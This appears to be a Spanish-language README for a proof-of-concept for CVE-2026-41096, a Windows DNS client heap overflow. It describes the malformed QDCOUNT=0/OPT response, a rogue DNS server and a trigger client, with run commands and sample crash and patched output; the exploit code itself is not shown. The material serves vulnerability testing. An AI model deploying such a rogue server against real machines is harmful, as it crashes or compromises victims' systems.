
CVE-2026-41096: Desbordamiento de montón en el Cliente DNS de Windows
Desbordamiento de montón en DnsRawTruncateMessageForUdp() (dnsapi.dll). Una respuesta DNS manipulada con QDCOUNT=0 y un registro OPT grande provoca un desbordamiento de montón de 604 bytes cuando la lógica de truncamiento calcula mal el puntero de destino.
Aviso de MSRC: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096
| Archivo | Descripción |
|---|---|
rogue_dns_server.py | Servidor DNS malicioso (Python 3). Responde a cada consulta con una respuesta QDCOUNT=0 + OPT (623 bytes). |
trigger_client.c | Cliente desencadenante (C/Win32). Llama a DnsQueryRaw apuntando al servidor malicioso. Captura el fallo mediante SetUnhandledExceptionFilter. |
Atacante (servidor malicioso):
Víctima (cliente desencadenante):
DnsQueryRaw)dnsapi.dll1. Iniciar el servidor malicioso:
sudo python3 rogue_dns_server.py
2. Compilar y ejecutar el cliente desencadenante:
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe <ROGUE_DNS_IP>
3. (Opcional) Habilitar Page Heap para un fallo determinista:
gflags /p /enable trigger_client.exe /full
trigger_client.exe <ROGUE_DNS_IP>
| Código | Significado |
|---|---|
| 0 | El sistema está parcheado (se devuelve DNS_ERROR_BAD_PACKET limpiamente) |
| 1 | Error (DnsQueryRaw no encontrado, problema de red, etc.) |
| 2 | Fallo detectado (desbordamiento de montón confirmado) |
Vulnerable (Page Heap):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
Vulnerable (sin Page Heap):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
Parcheado:
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET - system is PATCHED.